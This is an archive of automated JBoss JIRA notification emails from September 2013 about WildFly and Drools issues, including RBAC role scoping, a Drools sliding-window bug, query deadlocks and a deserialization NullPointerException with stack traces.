Message-ID: <JIRA.12499256.1377248810000.14693.1378657923449@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1934?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802604#comment-12802604 ] 

RH Bugzilla Integration commented on WFLY-1934:
-----------------------------------------------

Brian Stansberry <brian.stansberry at redhat.com> changed the Status of [bug 1000346|https://bugzilla.redhat.com/show_bug.cgi?id=1000346] from NEW to MODIFIED
                
> Improve code of OutboundLdapConnectionTestCase
> ----------------------------------------------
>
>                 Key: WFLY-1934
>                 URL: https://issues.jboss.org/browse/WFLY-1934
>             Project: WildFly
>          Issue Type: Enhancement
>          Components: Test Suite
>            Reporter: Emmanuel Hugonnet
>            Assignee: Emmanuel Hugonnet
>            Priority: Minor
>             Fix For: 8.0.0.Beta1
>
>
> The code of the test could be improved :
>  - no need to manipulate the configuration files by hand.
>  - adding a small test on a non-ssl url.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sun Sep  8 14:49:04 2013
From: jira-events at lists.jboss.org (Vytautas Gimbutas (JIRA))
Date: Sun, 8 Sep 2013 14:49:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-244) Sliding windows working
 incorrectly when timestamp attribute is defined
In-Reply-To: <JIRA.12499640.1377791004000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499640.1377791004000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499640.1377791004000.14704.1378666144010@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-244?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802608#comment-12802608 ] 

Vytautas Gimbutas commented on DROOLS-244:
------------------------------------------

Tried with stream mode and realtime clock - same issue, the event falls within sliding window, when it imho shouldn't.
                
> Sliding windows working incorrectly when timestamp attribute is defined
> -----------------------------------------------------------------------
>
>                 Key: DROOLS-244
>                 URL: https://issues.jboss.org/browse/DROOLS-244
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>            Reporter: Vytautas Gimbutas
>            Assignee: Mark Proctor
>         Attachments: app-ss-test-case.zip, Event.java, file.drl, Transaction.java, TransactionCompletedEvent.java, TransactionCreatedEvent.java, TransactionEvent.java
>
>
> Download app-ss-test-case.zip and run TimestampAttributeTest.
> When timestamp attribute is set in the past (lets say with timestamp of 30 days ago) it falls in every sliding window over time (e.g. 1s).
> Expected output:
> 1
> 0
> Actual output:
> 1
> 1

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sun Sep  8 16:07:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Sun, 8 Sep 2013 16:07:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2025) Remove configurability of
 VaultExpressionSensitivityConfig addressability
In-Reply-To: <JIRA.12500269.1378670809793@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500269.1378670809793@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500269.1378670809793.14706.1378670823933@jira02.app.mwc.hst.phx2.redhat.com>

Brian Stansberry created WFLY-2025:
--------------------------------------

             Summary: Remove configurability of VaultExpressionSensitivityConfig addressability
                 Key: WFLY-2025
                 URL: https://issues.jboss.org/browse/WFLY-2025
             Project: WildFly
          Issue Type: Sub-task
          Components: Domain Management
            Reporter: Brian Stansberry
            Assignee: Brian Stansberry
             Fix For: 8.0.0.CR1


Vault expression apply to attributes, while addressability permissions apply to resources. So the notions are unrelated and the access control configuration API should not conflate them.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sun Sep  8 16:41:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Sun, 8 Sep 2013 16:41:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2013) SecurityContextInterceptor
 always uses doPrivilidged even when a security manager is not present
In-Reply-To: <JIRA.12500142.1378404490000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500142.1378404490000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500142.1378404490000.14712.1378672863398@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2013?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802610#comment-12802610 ] 

RH Bugzilla Integration commented on WFLY-2013:
-----------------------------------------------

Brian Stansberry <brian.stansberry at redhat.com> changed the Status of [bug 1004919|https://bugzilla.redhat.com/show_bug.cgi?id=1004919] from NEW to MODIFIED
                
> SecurityContextInterceptor always uses doPrivilidged even when a security manager is not present
> ------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-2013
>                 URL: https://issues.jboss.org/browse/WFLY-2013
>             Project: WildFly
>          Issue Type: Bug
>          Components: EJB
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Stuart Douglas
>            Assignee: Stuart Douglas
>             Fix For: 8.0.0.Beta1
>
>
> This is slow. 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sun Sep  8 18:58:03 2013
From: jira-events at lists.jboss.org (Davide Sottara (JIRA))
Date: Sun, 8 Sep 2013 18:58:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-178) NoSuchMethodError at runtime
 due to eval in query (BW chaining)
In-Reply-To: <JIRA.12495023.1372138865000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12495023.1372138865000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12495023.1372138865000.14716.1378681083476@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-178?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802611#comment-12802611 ] 

Davide Sottara commented on DROOLS-178:
---------------------------------------

Tricky.. an eval invoker is built at compile time, based on the declarations in the signature of the query (Integers in your case)
The actual eval is generated lazily at runtime, using the declarations found to extract the values (ints in your case)
It's a bug anyway, I have committed a possible fix.
Thanks for reporting this

                
> NoSuchMethodError at runtime due to eval in query (BW chaining)
> ---------------------------------------------------------------
>
>                 Key: DROOLS-178
>                 URL: https://issues.jboss.org/browse/DROOLS-178
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 5.5.0.Final
>            Reporter: Wolfgang Laun
>            Assignee: Mark Proctor
>            Priority: Critical
>
> An eval CW in a query used in a BW chaining rule compiles, but causes a NoSuchMethodError when executed.
> Exception in thread "main" java.lang.NoSuchMethodError:
> pythagoras.Rule_isTriple_17ac16f7237046ee9562afce35dfe174.eval0(III)Z
>         at pythagoras.Rule_isTriple_17ac16f7237046ee9562afce35dfe174Eval0InvokerGenerated.evaluate(Unknown
> Source)
>         at pythagoras.Rule_isTriple_17ac16f7237046ee9562afce35dfe174Eval0Invoker.evaluate(Unknown
> Source)
>         at org.drools.rule.EvalCondition.isAllowed(EvalCondition.java:114)
>         at org.drools.reteoo.EvalConditionNode.assertLeftTuple(EvalConditionNode.java:176)
>         at org.drools.reteoo.SingleLeftTupleSinkAdapter.doPropagateAssertLeftTuple(SingleLeftTupleSinkAdapter.java:196)
>         at org.drools.reteoo.SingleLeftTupleSinkAdapter.propagateAssertLeftTuple(SingleLeftTupleSinkAdapter.java:71)
>         at org.drools.reteoo.JoinNode.propagateFromRight(JoinNode.java:159)
>         at org.drools.reteoo.JoinNode.assertObject(JoinNode.java:148)
>         at org.drools.reteoo.CompositeObjectSinkAdapter.doPropagateAssertObject(CompositeObjectSinkAdapter.java:497)
>         at org.drools.reteoo.CompositeObjectSinkAdapter.propagateAssertObject(CompositeObjectSinkAdapter.java:382)
>         at org.drools.reteoo.ObjectTypeNode.assertObject(ObjectTypeNode.java:235)
>         at org.drools.reteoo.EntryPointNode.assertObject(EntryPointNode.java:240)
>         at org.drools.common.NamedEntryPoint.insert(NamedEntryPoint.java:350)
>         at org.drools.common.NamedEntryPoint.insert(NamedEntryPoint.java:311)
>         at org.drools.common.AbstractWorkingMemory.insert(AbstractWorkingMemory.java:903)
>         at org.drools.common.AbstractWorkingMemory.insert(AbstractWorkingMemory.java:847)
>         at org.drools.impl.StatefulKnowledgeSessionImpl.insert(StatefulKnowledgeSessionImpl.java:269)
>         at pythagoras.Main.makeFacts(Main.java:94)

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sun Sep  8 19:12:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Sun, 8 Sep 2013 19:12:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2024) Scoped roles base on
 SuperUser should not be allowed
In-Reply-To: <JIRA.12500268.1378651067000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500268.1378651067000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500268.1378651067000.14719.1378681923482@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2024?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802612#comment-12802612 ] 

Brian Stansberry commented on WFLY-2024:
----------------------------------------

The auditing logging resources are defined at the host level, which makes SuperUser-based host scoped role reasonable. If we bring the ability to manage hosts solely associated with a server group into the capability set of a server group scoped role (which is likely) then the rationale for host scoped roles applies to server group scoped roles as well.

It's also unintuitive for organizations who don't care about Administrator vs Auditor and just use SuperUser to have to switch to Administrator for this use case.
                
> Scoped roles base on SuperUser  should not be allowed
> -----------------------------------------------------
>
>                 Key: WFLY-2024
>                 URL: https://issues.jboss.org/browse/WFLY-2024
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management, Security
>            Reporter: Jakub Cechacek
>              Labels: rbac-filed-by-qa
>             Fix For: 8.0.0.CR1
>
>
> It should not be possible to create scoped roles with SuperUser used as the base role. These roles currently don't have any permission to operate over Server Group / Host anyway and having such role doesn't make sense (as restricted superuser is not a superuser).

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sun Sep  8 19:56:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Sun, 8 Sep 2013 19:56:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2026) Include hosts in allowed
 resources for server group scoped roles
In-Reply-To: <JIRA.12500271.1378684558082@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500271.1378684558082@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500271.1378684558082.14732.1378684563334@jira02.app.mwc.hst.phx2.redhat.com>

Brian Stansberry created WFLY-2026:
--------------------------------------

             Summary: Include hosts in allowed resources for server group scoped roles
                 Key: WFLY-2026
                 URL: https://issues.jboss.org/browse/WFLY-2026
             Project: WildFly
          Issue Type: Sub-task
          Components: Domain Management
            Reporter: Brian Stansberry
            Assignee: Brian Stansberry
             Fix For: 8.0.0.Beta1


Treats host in a manner equivalent to profiles and socket binding groups for RBAC server group scoped roles. Difference is the mapping comes from the /host =*/server-config=* resources' "group" attributes instead of from /server-group=* resources' profile and socket-binding-group resources.

If all servers on a given host are members of server groups accessible to a server group scoped role, then all resources on that host are accessible. If no  server-config is defined on a given host, then it is accessible to all server group scoped roles.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sun Sep  8 20:04:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Sun, 8 Sep 2013 20:04:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2002) Ability to configure a custom
 RBAC implementation
In-Reply-To: <JIRA.12500003.1378348034000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500003.1378348034000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500003.1378348034000.14734.1378685043346@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2002?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Brian Stansberry updated WFLY-2002:
-----------------------------------

    Summary: Ability to configure a custom RBAC implementation  (was: Ability to configure a custom RBAC implementatin)

    
> Ability to configure a custom RBAC implementation
> -------------------------------------------------
>
>                 Key: WFLY-2002
>                 URL: https://issues.jboss.org/browse/WFLY-2002
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Brian Stansberry
>            Assignee: Brian Stansberry
>            Priority: Optional
>             Fix For: 8.0.0.CR1
>
>
> Allow configuration of a module name and set of key/value properties to allow users to plug in a custom implementation of the CustomAuthorizer interface. The impl would be loadable via the ServiceLoader mechanism.
> The hooks to integrate such a custom impl into the server are already done, so this is should be just a matter of adding the config capability. 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sun Sep  8 20:08:03 2013
From: jira-events at lists.jboss.org (Davide Sottara (JIRA))
Date: Sun, 8 Sep 2013 20:08:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-175) Deadlock when invoking
 queries concurrently
In-Reply-To: <JIRA.12494729.1371726167000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12494729.1371726167000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12494729.1371726167000.14739.1378685283687@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-175?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802614#comment-12802614 ] 

Davide Sottara commented on DROOLS-175:
---------------------------------------

I could. Please increase the severity of this bug to Critical (if Blocker). Meanwhile, try calling "fireAllRules" before scheduling the query threads.
Good news is that is may be mitigated by DROOLS-239.


                
> Deadlock when invoking queries concurrently
> -------------------------------------------
>
>                 Key: DROOLS-175
>                 URL: https://issues.jboss.org/browse/DROOLS-175
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 5.5.0.Final
>            Reporter: Gabor Gyongyi
>            Assignee: Mark Proctor
>
> I have a query that I want to execute from multiple threads using statefulKnowledgeSession.getQueryResults. One of the threads wants to invoke lock.writeLock().lock() in the 105th line of UpgradableReentrantReadWriteLock. The problem is that the other threads already own the readLock and they cannot proceed until the first query thread finishes with its job. They will wait for each other.
> I experienced the same problem with 5.4.0.Final as well.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sun Sep  8 21:59:03 2013
From: jira-events at lists.jboss.org (Davide Sottara (JIRA))
Date: Sun, 8 Sep 2013 21:59:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-252) Deserialization with
 TimerJobFactoryOption causes NPE -
In-Reply-To: <JIRA.12500035.1378374715000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500035.1378374715000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500035.1378374715000.14763.1378691943494@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-252?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802623#comment-12802623 ] 

Davide Sottara commented on DROOLS-252:
---------------------------------------

Philipp, I could not reproduce this issue in 5.6, could you submit a full test case?
Thanks
Davide
                
> Deserialization with TimerJobFactoryOption causes NPE - 
> --------------------------------------------------------
>
>                 Key: DROOLS-252
>                 URL: https://issues.jboss.org/browse/DROOLS-252
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 5.5.0.Final
>            Reporter: Philipp Herzig
>            Assignee: Mark Proctor
>
> In 5.5.0 the unmarshalling of a stateful sessions causes the following NPE trace when KnowledgeSessionConfiguration.setOption(TimerJobFactoryOption.get("trackable"));  is set! This worked fine under 5.4.0 where the options was still set with ((SessionConfiguration) this.conf).setTimerJobFactoryManager(new TrackableTimeJobFactoryManager());
> The error only occurs with the option set, no w/o it and iff temporal operators are present. In my cases I simply used a over window:time(x) operator.
> Steps to reproduce:
> 1. Create two rules one w/ time window (1) and one w/o time window (2)
> 2. Do not active rule (2)
> 3. Send an event that would potentially activate (2)
> 4. Unmarshall Session (i.e., simulate the recovery from a system failure)
> 5. Activate (2)
> 6. Exception
> java.lang.NullPointerException
> 	at org.drools.reteoo.ReteooWorkingMemory$WorkingMemoryReteExpireAction.serialize(ReteooWorkingMemory.java:495)
> 	at org.drools.marshalling.impl.ProtobufOutputMarshaller.writeActionQueue(ProtobufOutputMarshaller.java:454)
> 	at org.drools.marshalling.impl.ProtobufOutputMarshaller.serializeSession(ProtobufOutputMarshaller.java:145)
> 	at org.drools.marshalling.impl.ProtobufOutputMarshaller.writeSession(ProtobufOutputMarshaller.java:100)
> 	at org.drools.marshalling.impl.ProtobufMarshaller.marshall(ProtobufMarshaller.java:169)
> 	at org.drools.marshalling.impl.ProtobufMarshaller.marshall(ProtobufMarshaller.java:151)
> 	at com.sap.gamification.ruleengine.RuleEngine.getSnapshot(RuleEngine.java:603)
> 	at com.sap.gamification.ruleengine.RuleEngine.storeSession(RuleEngine.java:567)
> 	at com.sap.gamification.ruleengine.TrackingAgendaEventListener.activationCreated(TrackingAgendaEventListener.java:45)
> 	at org.drools.impl.StatefulKnowledgeSessionImpl$AgendaEventListenerWrapper.activationCreated(StatefulKnowledgeSessionImpl.java:643)
> 	at org.drools.event.AgendaEventSupport.fireActivationCreated(AgendaEventSupport.java:41)
> 	at org.drools.common.DefaultAgenda.createActivation(DefaultAgenda.java:602)
> 	at org.drools.reteoo.RuleTerminalNode.assertLeftTuple(RuleTerminalNode.java:253)
> 	at org.drools.reteoo.JoinNode.updateSink(JoinNode.java:411)
> 	at org.drools.reteoo.RuleTerminalNode.attach(RuleTerminalNode.java:346)
> 	at org.drools.reteoo.builder.ReteooRuleBuilder.addSubRule(ReteooRuleBuilder.java:174)
> 	at org.drools.reteoo.builder.ReteooRuleBuilder.addRule(ReteooRuleBuilder.java:134)
> 	at org.drools.reteoo.ReteooBuilder.addRule(ReteooBuilder.java:113)
> 	at org.drools.reteoo.ReteooRuleBase.addRule(ReteooRuleBase.java:445)
> 	at org.drools.common.AbstractRuleBase.addRule(AbstractRuleBase.java:952)
> 	at org.drools.common.AbstractRuleBase.addPackages(AbstractRuleBase.java:629)
> 	at org.drools.reteoo.ReteooRuleBase.addPackages(ReteooRuleBase.java:472)
> 	at org.drools.impl.KnowledgeBaseImpl.addKnowledgePackages(KnowledgeBaseImpl.java:149)
> 	at com.sap.gamification.ruleengine.RuleEngine.addKnowledgeToBase(RuleEngine.java:477)
> 	at com.sap.gamification.ruleengine.RuleEngine.loadRule(RuleEngine.java:428)
> 	at com.sap.gamification.ruleengine.RuleEngine.addRuleToEngine(RuleEngine.java:435)
> 	at com.sap.gamification.ruleengine.RuleService.deployRule(RuleService.java:144)
> 	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
> 	at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source)
> 	at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source)
> 	at java.lang.reflect.Method.invoke(Unknown Source)
> 	at com.sap.gamification.receive.GenericJsonMarshalling.invokeMethod(GenericJsonMarshalling.java:190)
> 	at com.sap.gamification.receive.JsonRPC.executeRequest(JsonRPC.java:108)
> 	at com.sap.gamification.ruleengine.web.RuleServiceServlet.doPost(RuleServiceServlet.java:54)
> 	at javax.servlet.http.HttpServlet.service(HttpServlet.java:755)
> 	at javax.servlet.http.HttpServlet.service(HttpServlet.java:848)
> 	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:305)
> 	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:210)
> 	at com.sap.gamification.security.LocalHostFilter.doFilter(LocalHostFilter.java:46)
> 	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:243)
> 	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:210)
> 	at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:222)
> 	at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:123)
> 	at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:472)
> 	at com.sap.security.auth.service.webcontainer.internal.Authenticator.invoke(Authenticator.java:147)
> 	at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:171)
> 	at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:99)
> 	at com.sap.core.tenant.valve.TenantValidationValve.invokeNextValve(TenantValidationValve.java:169)
> 	at com.sap.core.tenant.valve.TenantValidationValve.invoke(TenantValidationValve.java:85)
> 	at com.sap.core.js.monitoring.tomcat.valve.RequestTracingValve.invoke(RequestTracingValve.java:27)
> 	at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:118)
> 	at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:407)
> 	at org.apache.coyote.http11.AbstractHttp11Processor.process(AbstractHttp11Processor.java:1004)
> 	at org.apache.coyote.AbstractProtocol$AbstractConnectionHandler.process(AbstractProtocol.java:589)
> 	at org.apache.tomcat.util.net.JIoEndpoint$SocketProcessor.run(JIoEndpoint.java:312)
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(Unknown Source)
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source)
> 	at java.lang.Thread.run(Unknown Source)
> Unexpected exception executing action org.drools.reteoo.ReteooWorkingMemory$WorkingMemoryReteExpireAction at 5e2a4a68
> org.drools.RuntimeDroolsException: Unexpected exception executing action org.drools.reteoo.ReteooWorkingMemory$WorkingMemoryReteExpireAction at 5e2a4a68
> 	at org.drools.common.AbstractWorkingMemory.executeQueuedActions(AbstractWorkingMemory.java:995)
> 	at org.drools.common.AbstractWorkingMemory.fireAllRules(AbstractWorkingMemory.java:707)
> 	at org.drools.common.AbstractWorkingMemory.fireAllRules(AbstractWorkingMemory.java:674)
> 	at org.drools.impl.StatefulKnowledgeSessionImpl.fireAllRules(StatefulKnowledgeSessionImpl.java:230)
> 	at com.sap.gamification.ruleengine.RuleEngine.fireRules(RuleEngine.java:539)
> 	at com.sap.gamification.ruleengine.RuleEngine.addRuleToEngine(RuleEngine.java:437)
> 	at com.sap.gamification.ruleengine.RuleService.deployRule(RuleService.java:144)
> 	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
> 	at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source)
> 	at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source)
> 	at java.lang.reflect.Method.invoke(Unknown Source)
> 	at com.sap.gamification.receive.GenericJsonMarshalling.invokeMethod(GenericJsonMarshalling.java:190)
> 	at com.sap.gamification.receive.JsonRPC.executeRequest(JsonRPC.java:108)
> 	at com.sap.gamification.ruleengine.web.RuleServiceServlet.doPost(RuleServiceServlet.java:54)
> 	at javax.servlet.http.HttpServlet.service(HttpServlet.java:755)
> 	at javax.servlet.http.HttpServlet.service(HttpServlet.java:848)
> 	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:305)
> 	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:210)
> 	at com.sap.gamification.security.LocalHostFilter.doFilter(LocalHostFilter.java:46)
> 	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:243)
> 	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:210)
> 	at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:222)
> 	at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:123)
> 	at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:472)
> 	at com.sap.security.auth.service.webcontainer.internal.Authenticator.invoke(Authenticator.java:147)
> 	at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:171)
> 	at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:99)
> 	at com.sap.core.tenant.valve.TenantValidationValve.invokeNextValve(TenantValidationValve.java:169)
> 	at com.sap.core.tenant.valve.TenantValidationValve.invoke(TenantValidationValve.java:85)
> 	at com.sap.core.js.monitoring.tomcat.valve.RequestTracingValve.invoke(RequestTracingValve.java:27)
> 	at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:118)
> 	at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:407)
> 	at org.apache.coyote.http11.AbstractHttp11Processor.process(AbstractHttp11Processor.java:1004)
> 	at org.apache.coyote.AbstractProtocol$AbstractConnectionHandler.process(AbstractProtocol.java:589)
> 	at org.apache.tomcat.util.net.JIoEndpoint$SocketProcessor.run(JIoEndpoint.java:312)
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(Unknown Source)
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source)
> 	at java.lang.Thread.run(Unknown Source)
> Caused by: java.lang.NullPointerException
> 	at org.drools.reteoo.ReteooWorkingMemory$WorkingMemoryReteExpireAction.execute(ReteooWorkingMemory.java:505)
> 	at org.drools.common.AbstractWorkingMemory.executeQueuedActions(AbstractWorkingMemory.java:993)
> 	... 37 more

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  9 00:07:04 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Mon, 9 Sep 2013 00:07:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1958) Provide machine readable
 referential document with information of default security constrains
In-Reply-To: <JIRA.12499419.1377594673000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499419.1377594673000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499419.1377594673000.14780.1378699624062@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1958?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802629#comment-12802629 ] 

Brian Stansberry commented on WFLY-1958:
----------------------------------------

https://docs.google.com/spreadsheet/ccc?key=0Au0knNJrYUJhdFlSSEVpdGJpQnlDOURXYTRYajhaZWc#gid=1 outlines this information in columns Z and AB.
                
> Provide machine readable referential document with information of default security constrains
> ---------------------------------------------------------------------------------------------
>
>                 Key: WFLY-1958
>                 URL: https://issues.jboss.org/browse/WFLY-1958
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management, Security
>            Reporter: Jakub Cechacek
>              Labels: rbac-filed-by-qa
>             Fix For: 8.0.0.CR1
>
>
> This is more of a future task, but at some point we should make sure that all  security constraints are configured properly (right now we have no way of telling which resources should be, for example, sensitive). Thus QE will need something to check against.  As a good example of what I mean have a look at referential document for module classification [1] - although for RBAC we would like to see something more "machine-friendly" 
> This should be something like listing of resources classified by default as sensitive/application/... 
> [1] https://docspace.corp.redhat.com/docs/DOC-105009

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  9 00:59:03 2013
From: jira-events at lists.jboss.org (Davide Sottara (JIRA))
Date: Mon, 9 Sep 2013 00:59:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-144) LinkageError exception
 during multi-threaded execution
In-Reply-To: <JIRA.12492250.1369130779000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12492250.1369130779000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12492250.1369130779000.14785.1378702743446@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-144?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802631#comment-12802631 ] 

Davide Sottara commented on DROOLS-144:
---------------------------------------

Could you submit a test case as well?
Thanks
Davide
                
> LinkageError exception during multi-threaded execution
> ------------------------------------------------------
>
>                 Key: DROOLS-144
>                 URL: https://issues.jboss.org/browse/DROOLS-144
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 5.5.0.Final, 6.0.0.Beta2
>         Environment: Linux Ubuntu 12.10, OpenJDK 1.7
>            Reporter: Davide Sottara
>            Assignee: Mark Proctor
>            Priority: Blocker
>
